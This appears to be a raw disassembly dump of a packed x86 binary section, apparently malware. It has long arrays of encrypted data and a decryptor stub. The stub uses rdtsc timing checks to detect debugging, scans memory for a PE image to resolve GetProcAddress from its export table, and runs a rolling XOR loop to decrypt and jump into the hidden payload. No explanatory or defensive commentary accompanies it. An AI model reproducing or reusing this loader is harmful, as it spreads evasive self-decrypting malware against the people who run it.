		dd 0A2EBF08h, 579B7F6Eh, 0F03B44B6h, 21A000D1h,	0D035356Fh
		dd 0DC598A4Dh, 4A7AD092h, 987E0FA2h, 0C5BC8064h, 0A044B9F9h
		dd 0E1426B45h, 0A415F76Bh, 602E5066h, 0D5CC82FDh, 64EF37B4h
		dd 20081000h, 15A644D7h, 0AA84306Fh, 0F0DBBE96h, 0A3258AB1h
		dd 0A11E5076h, 18DA900Dh, 50F141EDh, 90F0EB29h,	1E134A87h
		dd 0A34905Ch, 0D95645F4h, 207000B1h, 707B4037h,	482F38BBh
		dd 0D9376571h, 8B8E0009h, 686D4107h, 252EC8E5h,	0E0D2F98Eh
		dd 0DABFE83Bh, 0E509BFD0h, 0A08CB949h, 0E02AC06Bh, 5AD75B8h
		dd 98F5F8C1h, 9969254Fh, 4BD4C0F3h, 9FAC0B2h, 70ACD0A2h
		dd 240977BDh, 0E02AD062h, 55C820F9h, 8B11F188h,	0A9BCE62Eh
		dd 9D07CACBh, 0E0401048h, 0C5D443EBh, 0A06CB9D0h, 5D336B2Dh
		dd 20A84279h, 0C5DC810Dh, 0A0E4C2B5h, 0B8226BA5h, 194C8563h
		dd 886440EFh, 5F937AE4h, 0D98E45CCh, 20AB00C9h,	4C324177h
		dd 996005E2h, 0E082C0A3h, 550451h, 593AC518h, 0A05C809Dh
		dd 0EA8FC32Bh, 0DF61DE21h, 9A7DA898h, 0A03C7FFAh, 88D3F59h
		dd 0DFEFFA00h, 592AC528h, 0A04C806Dh, 0E89EC81Bh, 0C822C909h
		dd 9FD9BA7Ah, 99400502h, 0E062C083h, 0A741031h,	0E5B4477Fh
		dd 0A02CB911h, 0EDC020CAh, 205C0820h, 596AE545h, 447480F5h
		dd 0E4964080h, 0D90FE88Ah, 13EBF40h, 59DB68F7h,	58AC3F04h
		dd 8562E066h, 6016794Bh, 464C2BB3h, 17BD3F8Ah, 30D98494h
		dd 607E60AFh, 2B58F44Dh, 68374B2Ch, 0B5810CBh, 9CB7C9E6h
		dd 259ED875h, 0E022F91Fh, 0D96FE8ABh, 0E599BF60h, 0A01CB9B9h
		dd 0E0EAC0DBh, 982E0C0Dh, 0E5EC8347h, 0A094B9C9h, 5844CAB8h
		dd 85CAE00Eh, 604E79F3h, 36142B4Bh, 17653F32h, 300184ECh
		dd 60D64307h, 2B2BF4A4h, 40974B8Ch, 0BB010A3h, 9C06C9B7h
		dd 251B492Eh, 0E09AF93Fh, 20A80059h, 0E54B4E82h, 0A074B9E9h
		dd 6042C8B9h, 0D8D30328h, 24F344E2h, 61DC9029h,	6BCAC84Bh
		dd 461EE3E2h, 676715Fh,	2FECE62Eh, 0E04AA8A3h, 0C19200C1h
		dd 0CB76EB39h, 0A6B94978h, 205B78FDh, 0E3B8AB5Fh, 998DA87Dh
		dd 25B37F8Ah, 0E0F2F997h, 0A08000B1h, 0AF955A3Bh, 0E2080566h
		dd 2871C09Bh, 0C80448A0h, 9F69B9B8h, 489E43D5h,	1F2D3906h
		dd 19E0852Ch, 0E5F9402Fh, 0A0BCB959h, 0C04AC07Bh, 0BBF066Ch
		dd 796D184Fh, 8B0CD3DEh, 6B12EB0Bh, 3022A81Ch, 0E86B412Fh
		dd 0A19C908Fh, 0C47E4B52h, 4865890Dh, 0EB7650B7h, 0B0560CF8h
		dd 6837EBE3h, 0D75010C3h, 70D7C49Ah, 0A08CC0BDh, 1728B45Bh
		dd 240AAB21h, 0E3311697h, 0B0464488h, 64ADC0D3h, 204001A8h
		dd 60DE4DE7h, 0F239CBADh, 0D3568505h, 6CFC2EDBh, 0F5A940CBh
		dd 0A0E4BE57h, 0A24A454Ah, 0AB630071h, 0B8CD7CA7h, 2B44F362h
		dd 0F9E2F478h, 0AB57FF2Ch, 7004F8E2h, 0E2E7DB15h, 3C0749BFh
		dd 23201013h, 0E53748ADh, 0A04CC26Dh, 1FD2B3A0h, 2098807Ah
		dd 94C4A867h, 1D5F7FFAh, 0E062821Bh, 0D4F6E817h, 0F525BF20h
		dd 0A05CC2C5h, 0E3E28A90h, 0EEA30CF3h, 6F23A9D4h, 0A0C5E07Dh
		dd 0BAE6CF93h, 23000030h, 70DCFC7Ah, 0D889836Dh, 4CDAD049h
		dd 0A577E895h, 601640E5h, 8BB0C668h, 0F010B806h, 70F60321h
		dd 9F7AE357h, 189103A2h, 0E0CAD0B9h, 67530BECh,	7B854F3Bh
		dd 4BA480D4h, 58D7F97Fh, 2FE01053h, 607F4D2Ah, 0D899834Dh
		dd 86BAD0A9h, 5A73808h,	600AC528h, 0E01F80C5h, 0D471EB61h
		dd 0D4B6E851h, 0DD57BF60h, 0A01CC285h, 0E04E45D4h, 0A54B0079h
		dd 60F602ABh, 0E2FC05B6h, 0E0A9C043h, 2FCC47DAh, 605E8D0Dh
		dd 0A8BBBB2Dh, 0E05E43C4h, 0E0BB0069h, 74914305h, 0E20C05A6h
		dd 0B040C053h, 6268B51Eh, 0F5B1406Fh, 0A0FCBE2Fh, 0EF4A45E1h
		dd 2028B7DCh, 605AA9F7h, 5F588095h, 0E096453Ch,	1E2000D1h
		dd 0EBBB4F7Ah, 2BDC800Dh, 0A351C1EDh, 0D5F0507Dh, 5949BF14h
		dd 0B0163838h, 0E385B523h, 30D2BC44h, 18AB435Fh, 29CC90BFh
		dd 0F028241Eh, 1B088B39h, 70E49C52h, 9B4CF275h,	0F0A02096h
		dd 1DE972B1h, 101E404Fh, 0BF54B79Fh, 6D5AC08Bh,	0E173FC67h
		dd 229542ECh, 44B1BB75h, 95D2D041h, 30B483ADh, 248171C0h
		dd 4BCD9CF9h, 65C50360h, 20F84281h, 1833CBD7h, 48249017h
		dd 1F3D3460h, 2060A9F0h, 6E8BC02Fh, 0D290C7E6h,	0E87DFB62h
		dd 0DFE48206h, 6F3FBF58h, 5FEA32C0h, 0C48E4B1Ch, 9D4A700h
		dd 9F11401Fh, 0E2676F42h, 800E8ADAh, 6E2800F9h,	6CED80A4h
		dd 64810711h, 69A2D091h, 3002C0F4h, 0E867CD0Fh,	0A37C8084h
		dd 0F058B8CEh, 851D66E9h, 63906BC9h, 0E2DF9467h, 1BD406CFh
		dd 73B1C789h, 65CE40FFh, 296C809Dh, 0BE553C7Dh,	0B557571Ah
		dd 60567E09h, 0AFFB68D4h, 0E083DA36h, 4A745051h, 9F412AC7h
		dd 0B0625E18h, 0BF3A452Bh, 219D88C6h, 0ECDE4067h, 482B7FE1h
		dd 0E072C0B2h, 66646512h, 33CB2CB6h, 0D239E318h, 0A193B472h
		dd 6C3DFFB9h, 9F265015h, 0B0FAB260h, 0B4E74993h, 0C8001073h
		dd 609E40D6h, 0C168E53Eh, 9795A560h, 530A65C7h,	3066292Fh
		dd 0C9C2E997h, 8535A5EFh, 7D185721h, 8871BF57h,	0A02C804Eh
		dd 8598A5A8h, 520774EAh, 9741052h, 0C5C8E9A3h, 0B742A514h
		dd 0DF083FF9h, 606CA850h, 0C54F804Dh, 8BD9A1A9h, 520870FCh
		dd 0C9F364Eh, 0A0F1E7A0h, 8102834h, 3838FFFEh, 336E409Fh
		dd 0C164C358h, 0AECFA7B5h, 46217416h, 994106Eh,	0C5E8E9C3h
		dd 0B722A534h, 0DF27FF19h, 0ED0A1070h, 0B0C110A8h, 0B0FEAACBh
		dd 0DF6F0103h, 70E8AA92h, 844809A5h, 0DE3455BCh, 0E09A00F1h
		dd 2106FDF2h, 0F0BC800Dh, 703F3FEBh, 48281064h,	60C240F6h
		dd 0F765EAC1h, 0A25655CCh, 4AF400C1h, 0F5C1176Bh, 0A0CCC259h
		dd 1F6E0428h, 305A4CFCh
		dd 223BFE7h, 0FF5490BBh, 0A8474DE0h, 76901080h,	5E48D5A0h
		dd 584F80EDh, 5BEECF64h, 0A9080039h, 70E41852h,	0F644EA75h
		dd 0DE4055ECh, 0E00500A1h, 60BAC440h, 609780EDh, 0E33090DBh
		dd 48F96A79h, 0A09640C7h, 0E2A17F33h, 63D2D03Dh, 0A47FFF59h
		dd 600E4638h, 0E2F00554h, 6DC7C06Bh, 20F84279h,	22EED53Ah
		dd 0F2758045h, 1F92C099h, 305E6E04h, 9F06C32Fh,	0A54904C2h
		dd 0E050C06Bh, 6284B5F6h, 0F58940B7h, 0A004BE2Fh, 0EF4D3860h
		dd 2055BE05h, 106BC91Fh, 938C90FFh, 0B1E9C392h,	24A251A9h
		dd 3CD3BFC6h, 5F049077h, 0F09C8646h, 2F808571h,	60DBDA8Bh
		dd 29B5B3ADh, 0F058B4CEh, 71E951E9h, 6F565FEFh,	350BD025h
		dd 0E082FE4Dh, 0A43FC0E4h, 60CE45ACh, 0E2140514h, 58C9C02Bh
		dd 20A87232h, 977E0BFCh, 0B0DD0490h, 0E082C0B3h, 23267571h
		dd 70AE286Ah, 0A38EB38Dh, 170B37EAh, 0A41D8928h, 0D8365025h
		dd 0A0D4A98Ah, 0E34E8B28h, 300068C4h, 637C73DFh, 57BD77BCh
		dd 9C6F49FAh, 0E38810FBh, 666DF758h, 2DF1630Ch,	576DD8C0h
		dd 0F0031472h, 485F2B86h, 9ABD506Eh, 8EB3B754h,	0A3657450h
		dd 12174C3Dh, 9CFF0B05h, 0E3468208h, 647D1063h,	0B979BFF7h
		dd 2517417Eh, 0E0DA828Bh, 43C8B5Ah, 0EFC67327h,	0A0A43857h
		dd 2FC90373h, 9D6D0BFAh, 606E01E7h, 93C30BB1h, 81866C22h
		dd 5A6406FBh, 40DA4250h, 0D4C8BC6Fh, 941CFC8Fh,	55D03CDCh
		dd 0EBA7A377h, 0F849BD3Ch, 0EBDEC09Eh, 720B5344h, 53634F17h
		dd 2B7B7F4Ah, 0A975FD50h, 0A4CF43BFh, 9FA1BFA9h, 0F5BFD710h
		dd 0FB1ECF85h, 1DC7FF96h, 52E50350h, 5F6404AAh,	0B02F3FBCh
		dd 2FFF54B2h, 9FB145FBh, 4837B3E2h, 1F753E96h, 0DAC0102Ch
		dd 8839BF0Bh, 5F9B7EB4h, 1EEE443Ch, 0F293FF2Eh,	603E5687h
		dd 5FBF680Dh, 0E0923F54h, 7D180049h, 54A5AD66h,	5ABD8095h
		dd 84F2C020h, 951B323Eh, 603E0227h, 0C6EE0999h,	0BA27FE1Ah
		dd 23EB8536h, 3E2D40D7h, 0C69A8349h, 0A5B2FB92h, 235385BEh
		dd 23E9404Fh, 0A09C80FBh, 26DFCF8Bh, 0D6F8002Ah, 6F941C84h
		dd 0A0373CE1h, 0E8914B03h, 80D0A09Ch, 0CE8A4F9Fh, 9DAC80DEh
		dd 0C06AE05Bh, 234B8416h, 0EB0D40B7h, 0A024809Dh, 893D610h
		dd 0DF9FEF19h, 2242CD2Ch, 6E9F80DDh, 0E07AA1E8h, 209C618Ah
		dd 9F88DB4Fh, 0DA968FBAh, 63B2C0E0h, 3012C024h,	2265401Fh
		dd 0B0C60BB5h, 0E4590170h, 2523C0CAh, 2AEF8894h, 20810925h
		dd 0E3A2D091h, 20F80C3Bh, 31DE410Fh, 5F9A3E45h,	628FF0B4h
		dd 91B810D0h, 0E3E370A7h, 0CAF4901Ch, 0B85B3EE3h, 84D81419h
		dd 0E531BF19h, 62F88F4Fh, 753B22E8h, 20B8395Dh,	0E5B1A59Ch
		dd 0A0F4B991h, 0E182C0B3h, 0A5D72225h, 60AE796Bh, 0A05C808Eh
		dd 457BCC5Eh, 2088394Dh, 9BC9BF98h, 2D558AEEh, 0E062F927h
		dd 28100041h, 60AE46B7h, 0A624D97Dh, 0B8EAC01Bh, 0DF6E5651h
		dd 1CA3CAA8h, 26C490CCh, 0D91EEA17h, 0A5880021h, 608E79B3h
		dd 25CB608Fh, 0E0CAF98Fh, 207800A1h, 0DD964932h, 0A0A4B99Bh
		dd 1797B482h, 30C984A4h, 608E40BFh, 2037F455h, 0F0F3BC46h
		dd 901C0599h, 597BFDB7h, 0D4A180C5h, 9EFF40D4h,	25E01028h
		dd 0E589DEDBh, 0A00CB9C9h, 0F0BAC0EBh, 9DD809FDh, 60E6795Bh
		dd 231DF7C7h, 0F07004C6h, 86380001h, 8891BF6Dh,	5FF37D7Eh
		dd 0E0A8B133h, 5CD58B79h, 63E65055h, 0B0C60028h, 1C792853h
		dd 0A4CFFF0Eh, 605E42DEh, 0E28435A6h, 0BE11C0DBh, 0C8E60355h
		dd 9F29BD5Bh, 0A24F02AAh, 0AA93C043h, 20B060C5h, 32B0CB9Fh
		dd 0B496834Bh, 179ABAB8h, 301184DCh, 60C640F7h,	2970F5B5h
		dd 0F040088Eh, 0B0158DD1h, 0EB3E5056h, 0B0CCE880h, 0B7DE33ABh
		dd 201264F0h, 6003CDE7h, 53549095h, 3F27186h, 0D734F3C3h
		dd 7017C4DAh, 0A0CC80FDh, 4EEECFBBh, 0DF080039h, 0B14E68A4h
		dd 2BBB7F98h, 0F0A07886h, 2F5285B1h, 601ED8CBh,	0D8090BEDh
		dd 6B5AD0C9h, 6A791063h, 609620E3h, 0A87EAB85h,	29E1C270h
		dd 1B6472A2h, 701E28B2h, 0C8210BDDh, 924AD06Bh,	4D48B4Fh
		dd 70EEE534h, 23248045h, 0E0C2A854h, 5AEB0091h,	68B44127h
		dd 571B77CEh, 0A2B645E0h, 0A52F0019h, 60667923h, 0A0148005h
		dd 0F845C297h, 95C7282h, 0A45BC92Fh, 2B8C90FFh,	0D02BE828h
		dd 194C850Eh, 60264087h, 0A2708035h, 8F3D824h, 0DFBFFC5Ah
		dd 63D2AB56h, 0D257A8DEh, 134C9147h, 0ADE15F4Dh, 706FD032h
		dd 68490925h, 1392D081h, 2F6E5FC5h, 0E743D2CEh,	0A06C81A2h
		dd 0D9885501h, 26DD00C9h, 363E921Eh, 29829221h,	0C76A29E3h
		dd 7ADFFF8Bh, 63B20A64h, 25AB90C7h, 0E0EAF9AFh,	9800C9h
		dd 153301EAh, 64590916h, 0E372D0E1h, 300068C4h,	809C3DFh
		dd 0A04C807Dh, 69C28330h, 2088533Eh, 20A3B757h,	0A1C490CAh
		dd 9462C093h, 2843C736h, 0C03EE06Fh, 99B8059Ah,	0E0DAC01Bh
		dd 270C10A9h, 974DA815h, 2BEE7F1Ah, 0F010040Eh,	0A9F5E321h
		dd 6D6568F4h, 0E2EC0DD6h, 0E229C0EBh, 6BE30372h, 0E483B71Fh
		dd 0A3A490ECh, 9442C073h, 0E8658B05h, 637E50EDh, 0B05E30C0h
		dd 4C3FC3EBh, 215810CBh, 70BCCB2Fh, 0E2E8054Eh,	0AA0BC073h
		dd 0A9D37309h, 226F48D5h, 0F86F032Dh, 642F4BDBh, 4848103Bh
		dd 60E66987h, 0F98CC2B4h, 6A728352h, 30F98264h,	0E4DBB78Fh
		dd 0A0FC9014h, 94BAC0CBh, 48B5036Fh, 0D6D65017h, 24F177A5h
		dd 0E012D07Ah, 55B002E1h, 9788BE6Bh, 0B0D50498h, 0E48AC0BBh
		dd 0AA2E7559h, 70FFC342h, 24E17795h, 0E002D00Ah, 55A00091h
		dd 6239CA64h, 76DE2ACFh, 0E9913749h, 0E22A07C3h, 8260424Dh
		dd 0C486B372h, 6F96E2A8h, 9D1358C3h, 603E0203h,	1F488FFDh
		dd 1F953F61h, 304A788Ch, 0D233BFD7h, 5F44904Bh,	0F0A0B4A6h
		dd 615FFB1h, 0ED1E5071h, 0B0FEE060h, 88CF4D8Bh,	71F8106Bh
		dd 9F962A95h, 0B076DCD0h, 46473F03h, 0DF70109Fh, 704C1C8Ah
		dd 86397FDDh, 6D4AD045h, 30A948ACh, 3833BFB7h, 0F6249017h
		dd 0DE60550Ch, 85E30081h, 60EE0273h, 0A07443CDh, 0BD3AC06Bh
		dd 0CD590163h, 60667828h, 611B701Dh, 0F0A74066h, 0E3908581h
		dd 9011889Ch, 200941B2h, 232AD04Eh, 0AC810C4h, 67A3597h
		dd 0AC20FCB4h, 0F3D7B1BFh, 0DF84E811h, 65ABBFF0h, 5F863545h
		dd 1FC828B4h, 0ED9FF16h, 362E6D78h, 854C9211h, 8092C0C3h
		dd 0DFCFA589h, 0EBF73500h, 2D5CA4D9h, 0F04B888Eh, 28F88BD9h
		dd 667CC111h, 0F6C1F317h, 1F82C0DBh, 4AE48B51h,	9FEE12EFh
		dd 0B0627218h, 0E83E432Bh, 1FC43E48h, 63431C58h, 48D04686h
		dd 1F8D3AC1h, 0DFEF7FA9h, 0D86D2120h, 0A04C8009h, 0CF5271F0h
		dd 0C88800B9h, 6026404Ah, 18C4A037h, 0E062C0A3h, 200010D9h
		dd 60BA82CFh, 0A03D05D5h, 0E0D9280Bh, 0CBA00A9h, 4442CD47h
		dd 239A4DE9h, 0F92EC07Bh, 20F0E841h, 340540BFh,	2B71B079h
		dd 862741E1h, 0C86810A0h, 9FF9A0D0h, 0A0A042B4h, 0E340C772h
		dd 77350614h, 0A62DD4D3h, 0AA0015FFh, 0FF8B0041h, 10E8F9h
		dd 0E8F50000h, 0CAh, 0EBF5DB87h, 58E900h, 64670000h, 36FFh
		dd 82732589h, 67F53142h, 268964h, 68D23100h, 200h, 68525252h
		dd 2000h, 68h, 20006880h, 680000h, 52800000h, 52525252h
		dd 808C15FFh, 0D2313142h, 200068h, 52525200h, 268h, 4006800h
		dd 52520000h, 808C15FFh, 0DB893142h, 50BCDB87h,	64386F32h
		dd 58Fh, 895A0000h, 0DB87F8C0h
		dd 0C929D229h, 0E2B1F5FCh, 0D28900EBh, 0F501528Dh, 0F87549F8h
		dd 2E800EBh, 0FC000000h, 0DB895DFCh, 81DB87F9h,	0FFE29FEDh
		dd 0FF3155FFh, 2A88CF81h, 0EBFC0000h, 2AE800h, 0EB0000h
		dd 0C58300EBh, 0FC4F4201h, 7500FF83h, 0FFF85DECh, 0DB8790E5h
		dd 548BC089h, 0C0311024h, 0B8828Fh, 0F5C30000h,	0EB00EBh
		dd 8900458Ah, 0C9h, 213h dup(0)
		dd 7C816FD7h, 134Ch dup(0)
; ---------------------------------------------------------------------------
		call	$+5
		mov	eax, [esp]
		cld
		mov	[eax+32C7h], ebx
		mov	ecx, [eax+297Fh]
		mov	ebx, [esp+4]
		and	ecx, 10000000h
		jz	short loc_3143A04C
		pop	ecx
		mov	[eax+32CBh], esi
		mov	cl, [eax+2983h]
		mov	[eax+32CFh], edi
		cmp	cl, 0E8h
		jz	short loc_3143A041
		mov	ebx, [eax+2985h]
		jmp	short loc_3143A04A
; ---------------------------------------------------------------------------


loc_3143A041:				; CODE XREF: UPX2:3143A037j
		add	ebx, [eax+2984h]
		mov	ebx, [ebx+2]


loc_3143A04A:				; CODE XREF: UPX2:3143A03Fj
		mov	ebx, [ebx]


loc_3143A04C:				; CODE XREF: UPX2:3143A01Fj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 11E05h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+103990h]
		mov	ecx, 0C3h
		rep movsb
		call	sub_3143A125
		mov	ecx, eax
		call	sub_3143A125
		sub	eax, ecx
		jz	short loc_3143A0F7
		cmp	eax, 100h
		ja	short loc_3143A0F7
		and	ebx, 0FFFFF000h


loc_3143A08B:				; CODE XREF: UPX2:3143A09Aj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_3143A09C


loc_3143A094:				; CODE XREF: UPX2:3143A0A9j
		sub	ebx, 100h
		jnz	short loc_3143A08B


loc_3143A09C:				; CODE XREF: UPX2:3143A092j
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_3143A094
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_3143A0B6:				; CODE XREF: UPX2:loc_3143A0CAj
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_3143A0CA
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_3143A0CF


loc_3143A0CA:				; CODE XREF: UPX2:3143A0BFj
		loop	loc_3143A0B6
		pop	ecx
		jmp	short loc_3143A0F7
; ---------------------------------------------------------------------------


loc_3143A0CF:				; CODE XREF: UPX2:3143A0C8j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+10113Fh]
		mov	dx, [eax-17h]
		call	sub_3143A12A
		jmp	short loc_3143A13F
; ---------------------------------------------------------------------------


loc_3143A0F7:				; CODE XREF: UPX2:3143A07Cj
					; UPX2:3143A083j ...
		mov	eax, [ebp+103984h]
		and	eax, 10000000h
		jz	short loc_3143A123
		mov	edi, [esp+4]
		lea	esi, [ebp+103988h]
		lodsd
		mov	ebx, [ebp+1042CCh]
		stosd
		movsb
		mov	edi, [ebp+1042D4h]
		mov	esi, [ebp+1042D0h]


loc_3143A123:				; CODE XREF: UPX2:3143A102j
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_3143A125	proc near		; CODE XREF: UPX2:3143A06Ep
					; UPX2:3143A075p
		rdtsc
		retn
sub_3143A125	endp

; ---------------------------------------------------------------------------
		sbb	dh, dh

; =============== S U B	R O U T	I N E =======================================



sub_3143A12A	proc near		; CODE XREF: UPX2:3143A0F0p
		push	ebx
		mov	ecx, 2845h
		mov	ebx, edx


loc_3143A132:				; CODE XREF: sub_3143A12A+11j
		xor	[eax], dl
		sub	dl, bl
		xchg	bl, bh
		inc	eax
		xchg	dl, dh
		loop	loc_3143A132
		pop	ebx
		retn
sub_3143A12A	endp

; ---------------------------------------------------------------------------


loc_3143A13F:				; CODE XREF: UPX2:3143A0F5j
		repne cli
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E6h
		dd 0C17BA049h, 1049D07Bh, 4A590856h, 9F86CF15h,	0F25ADADFh
		dd 0AE75206Eh, 8CF9482h, 23D401F3h, 7CD15AEFh, 8DC8B9CAh
		dd 2F55122Dh, 76E0AECCh, 42045112h, 7A7D6F0Eh, 0AE5F956Eh
		dd 0C932B273h, 8D078C38h, 10EDD188h, 0E27C344Ch, 0D690F345h
		dd 26AB7C1Fh, 914777F5h, 1459AB92h, 83E030E8h, 5371E32Ah
		dd 1E08B8FDh, 7A09B3AFh, 22455126h, 4088A9C5h, 43A6E85Eh
		dd 9A7CA155h, 731005F9h, 357F4C9Ah, 0EB38BD1Dh,	49BCE4A2h
		dd 86C53063h, 0C7677CDAh, 2EE85D6Ah, 72A99702h,	0C620F003h
		dd 4EB16A7Dh, 5F48682Ch, 146EF1DBh, 43FD1076h, 0C294C986h
		dd 331561BDh, 5ABC4A9Ch, 0AB286007h, 0ADD40CC9h, 80964D21h
		dd 623DA4E2h, 82947F19h, 0A9243C1Ah, 0AE521C69h, 0BA241741h
		dd 0F68A046h, 424A5AEFh, 6C64507Eh, 0EAF60492h,	88064559h
		dd 42419CAAh, 4C36ECC1h, 977B34E2h, 0F6100043h,	0BFB470Ah
		dd 7E2894A5h, 5A3C89B3h, 83DD3056h, 0E274EE06h,	4C876D9Dh
		dd 0F1AC7801h, 75A80A6Ah, 8739756Ah, 0DED8E3FBh, 56576F21h
		dd 88E0C76Fh, 2A5340BDh, 0E19280Dh, 0E41A61DDh,	62C3C026h
		dd 7D94096Ah, 3E6AC7DAh, 0A16B372h, 0D6F8F1ECh,	0CA24BC9Eh
		dd 6EB988AEh, 4FAC13Dh,	0C66520C6h, 0D07668E5h,	9E62B8FEh
		dd 6A1CEC42h, 365A5022h, 5548F4FBh, 0A608E924h,	9A6DB463h
		dd 58B61589h, 38FC4C9Ah, 1A8199Eh, 0DA82D227h, 96D558C6h
		dd 330D7CDAh, 44F848ECh, 0F0EF4D02h, 53DFEA7Ch,	92249280h
		dd 0DD8B89D5h, 3A6212EFh, 727F1066h, 0C284DE4Eh, 8E98AE66h
		dd 1EF83AA2h, 0D9C00CFAh, 0E2EA7E5Fh, 685D55DEh, 0B9FCB4E5h
		dd 0E8ADFDCFh, 93242C24h, 9BD09B20h, 394CD440h,	965E52EBh
		dd 0D67B6C6Ah, 1E883A7Eh, 0D45E8119h, 0C64FD0B6h, 594113BBh
		dd 0C5D878F6h, 0AD2EE67h, 0E770FFF6h, 8B3C4985h, 0FBA3980Eh
		dd 4A2C5AF4h, 995140B9h, 0F25DD3DFh, 64F5436Eh,	998C84BCh
		dd 47D19F8Ch, 2B88A925h, 5343F8AEh, 0AACCFA00h,	70F9905h
		dd 0B81D3FBh, 0E6183837h, 0DA2CF59Ah, 99087DBBh, 0BDDF8C5Ah
		dd 0E79E5834h, 8978548Dh, 96FAF367h, 0C8F34599h, 0E3A0E2AEh
		dd 2AD9B777h, 6F999D6h,	0D679ECEAh, 61F746B3h, 0E7B7E2EDh
		dd 36301D22h, 0A9221C3Ah, 655CAFC3h, 0FE15050h,	6690BD82h
		dd 301D2A26h, 3C2BB3F8h, 414906B0h, 0FED0DA12h,	62E40E36h
		dd 2E928465h, 0FA66D089h, 0C620E07Eh, 0C374C622h, 0E46126Ch
		dd 1492D1ADh, 75281076h, 2EEC9CBEh, 598A8FCh, 0D1AC1E76h
		dd 4C802A7Ah, 0A0D666CAh, 5280D8B4h, 0E0FCA480h, 0A97A2106h
		dd 0F4B1C34Ah, 0B1381810h, 0B5B3511Bh, 8661A7D2h, 52C1E16Ah
		dd 0A788286Eh, 0EA9C0829h, 13433F2Dh, 92C4713Bh, 0CB5568DEh
		dd 1AFC20A0h, 0B250E009h, 4D7EEC60h, 40F60DE1h,	8AB96422h
		dd 0FE644519h, 0E264FD15h, 0AE78D986h, 3EE9C782h, 21D502F3h
		dd 64DD5EFAh, 0B9AD94D7h, 428BC4B7h, 76F095B6h,	48E905h
		dd 9BE7281Eh, 0DA3CCA40h, 80D53F61h, 18549C74h,	0C16A325Eh
		dd 1A4272E7h, 0D7B84986h, 8933BC9Ah, 4AB4014Fh,	0AF330396h
		dd 6F01E4Ch, 77771AD9h,	9E1887C8h, 954BD012h, 260ECEB3h
		dd 7684993Ah, 30DBAE28h, 6582C666h, 0C88A402h, 0CDBE268Ah
		dd 0EE968E0Bh, 0BE7C61B2h, 1E38231Ah, 51E47CDFh, 141BD927h
		dd 0C53A913Bh, 0F455E006h, 0B610D0ABh, 2D3A0B5Dh, 0EBDD6C26h
		dd 0F6701EC1h, 94D4882Ah, 0DDC8F8DFh, 64E2E15Dh, 0E64540A6h
		dd 0DDB7893h, 31E0FCAAh, 9AC39277h, 0ABD59806h,	0DD77C3E5h
		dd 0FE062EBBh, 3BC23F42h, 86618892h, 0C78B3B6Ah, 1E980658h
		dd 0D4BA916Dh, 7659D0B6h, 823B6341h, 24D80294h,	70EC5EE2h
		dd 0E60168F6h, 769FCC0Eh, 14789874h, 0B5F8EF3Eh, 492866A4h
		dd 0D164FC6Eh, 51A220A7h, 0EF016B7Dh, 46B075C7h, 42E57DF8h
		dd 0E0E26D41h, 6E5FC4C2h, 897B53C6h, 425C04A2h,	0E181AE2h
		dd 0DA2CFA49h, 0A640C037h, 72548C4Ah, 3E68585Eh, 0A7C0DF6h
		dd 0D690F086h, 5DF7EACBh, 7E86BA3Bh, 9695FFC2h,	0FD95E052h
		dd 5F370208h, 8E11C56Bh, 0FFE3D612h, 36206EACh,	400899B3h
		dd 0D8B0E85Eh, 0D66CB462h, 13EBEF19h, 5BE61CFAh, 9BC471E8h
		dd 0ABEA81D5h, 0D7B5C5AAh, 0F71B2CDAh, 2EE876DCh, 0B85C918Bh
		dd 9AE3E006h, 0F747CD68h, 3B251970h, 403E0B36h,	85047303h
		dd 91F08A26h, 8EECCBEBh, 28D807CEh, 26AE25DAh, 93B17E89h
		dd 0D7AEBDAAh, 8ABDC19Eh, 37750245h, 4B62596Eh,	8F756D42h
		dd 0D425A432h, 0C560E131h, 26150918h, 71FA681Bh, 99EF61F1h
		dd 0C4F3D0E7h, 0E7B0FDDFh, 21B50D9Ch, 72B85196h, 82616584h
		dd 0D7668F0Ah, 2A4DEC7Fh, 2B59165Ah, 64133022h,	87109D3Fh
		dd 0C217A73Ah, 0AE0F1EAh, 28F352A5h, 7AC75CCBh,	9BC88CD1h
		dd 0FEA8ADAAh, 1795E28Eh, 2B425C9Eh, 674C4D62h,	0B578914Fh
		dd 0D233B965h, 1B00E12Fh, 78683D33h, 46194100h,	0B7E292EFh
		dd 0E5A4C5E8h, 7FEFCCBh, 4E8D31AEh, 648952A2h, 0A191989Fh
		dd 0FB4FB8BFh, 675C266h, 4C590343h, 67031C5Fh, 0A231AE3Ah
		dd 0F705E007h, 3C78013h, 56FB01FEh, 0B6CD74EBh,	0A6D88AD3h
		dd 0D1D0F1A3h, 7B008BFh, 47BE3883h, 9B42716Eh, 0C661857Bh
		dd 0C640C96Dh, 0E38155Bh, 6B343033h, 82155766h,	0B1F6B92Ch
		dd 8EF6C7E7h, 0CD811E5h, 4FB332D3h, 8A9162A5h, 0DBAFD89Fh
		dd 0E693F286h, 1F751D73h, 504B5A74h, 874C6943h,	0BA0DBA2Dh
		dd 0E201CF1Ah, 20160526h, 5FF14A1Fh, 9AFD4992h,	0C1D5B9F0h
		dd 0EB82FAF5h, 1D80DA2h, 5C825192h, 0AB656C9Fh,	0DB64BC6Bh
		dd 7E69FF70h, 2459147Dh, 753F4216h, 0E2178F3Fh,	0CD17BA3Eh
		dd 49FFE7E7h, 34C926A4h, 42B458D9h, 0BBAB97CCh,	98EFB7A1h
		dd 288F5A8h, 36610FFAh,	6B744148h, 0A8588063h, 0D235A25Fh
		dd 7215FF2Fh, 781C3D0Dh, 5E19481Bh, 0D6F59DEFh,	0C7C1D0C9h
		dd 17EB88DEh, 57A920B1h, 638D4982h, 0BBB283BEh,	0F75CDD92h
